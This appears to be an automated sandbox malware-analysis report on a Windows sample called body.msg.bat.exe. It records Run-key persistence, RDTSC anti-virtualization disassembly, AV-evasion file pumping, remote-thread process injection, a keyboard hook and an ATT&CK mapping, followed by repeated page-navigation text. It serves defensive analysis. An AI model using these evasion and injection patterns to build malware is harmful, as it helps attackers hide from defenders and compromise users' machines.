Source: C:\Windows\tserv.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run tserv			Jump to behavior
Source: C:\Windows\tserv.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run tserv			Jump to behavior

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_0041D159 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,

1_2_0041D159

Malware Analysis System Evasion

Detected PE file pumping (to bypass AV & sandboxing)

Source: body.msg.bat.exe

Static PE information: Resource name: RT_ICON size: 0xffffff28

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\body.msg.bat.exe	RDTSC instruction interceptor: First address: 40C1E0 second address: 40C1EE instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+04h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [76FF188Ch] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007EFF48EE81D5h 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 mov esp, ebp 0x0000003b pop ebp 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov dword ptr [esp+08h], eax 0x00000043 rdtsc
Source: C:\Users\user\Desktop\body.msg.bat.exe	RDTSC instruction interceptor: First address: 40C1EE second address: 40C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [76FF188Ch] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007EFF4959D3D5h 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 mov esp, ebp 0x0000003b pop ebp 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov dword ptr [esp+0Ch], eax 0x00000043 rdtsc
Source: C:\Users\user\Desktop\body.msg.bat.exe	RDTSC instruction interceptor: First address: 40C1FC second address: 40C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [76FF188Ch] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007EFF48EE81D5h 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 mov esp, ebp 0x0000003b pop ebp 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov dword ptr [esp+10h], eax 0x00000043 rdtsc

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_0040C1D0 rdtsc

1_2_0040C1D0

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\body.msg.bat.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-12752

Source: C:\Users\user\Desktop\body.msg.bat.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_1-12686

Source: C:\Windows\tserv.exe TID: 7644	Thread sleep time: -300000s >= -30000s			Jump to behavior
Source: C:\Windows\tserv.exe TID: 7916	Thread sleep time: -300000s >= -30000s			Jump to behavior

Source: C:\Windows\tserv.exe	Last function: Thread delayed
Source: C:\Windows\tserv.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

1_2_00406360

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00429F44 VirtualQuery,GetSystemInfo,VirtualQuery,VirtualAlloc,VirtualProtect,

1_2_00429F44

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\body.msg.bat.exe

API call chain: ExitProcess graph end node

graph_1-12753

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_0040C1D0 rdtsc

1_2_0040C1D0

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

1_2_0041F660

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_004210D0 GetProcessHeap,GetProcessHeap,HeapAlloc,RegOpenKeyExA,GetLastError,GetProcessHeap,HeapFree,RegCloseKey,

1_2_004210D0

Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0042731A SetUnhandledExceptionFilter,		1_2_0042731A
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0042732E SetUnhandledExceptionFilter,		1_2_0042732E

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00404840 OpenProcess,lstrlenA,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,CreateRemoteThread,

1_2_00404840

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00423260 GetProcessHeap,HeapAlloc,HeapAlloc,HeapAlloc,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,InitializeSecurityDescriptor,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,GetTokenInformation,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,IsValidSecurityDescriptor,

1_2_00423260

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: GetLocaleInfoA,

1_2_0042C8B2

Source: C:\Windows\SysWOW64\notepad.exe

Queries volume information: C:\Users\user\Desktop\2631.tmp VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00401830 ExpandEnvironmentStringsA,GetLocalTime,CreateFileA,CloseHandle,

1_2_00401830

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_0040BE00 lstrlenA,GetLocalTime,GetTimeZoneInformation,lstrlenA,

1_2_0040BE00

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00425D91 EntryPoint,GetVersionExA,GetModuleHandleA,GetModuleHandleA,_fast_error_exit,_fast_error_exit,GetCommandLineA,GetStartupInfoA,__wincmdln,GetModuleHandleA,

1_2_00425D91

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Native API	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	121 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	121 Virtualization/Sandbox Evasion	LSASS Memory	32 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	124 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
body.msg.bat.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report body.msg.bat.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
body.msg.bat.exe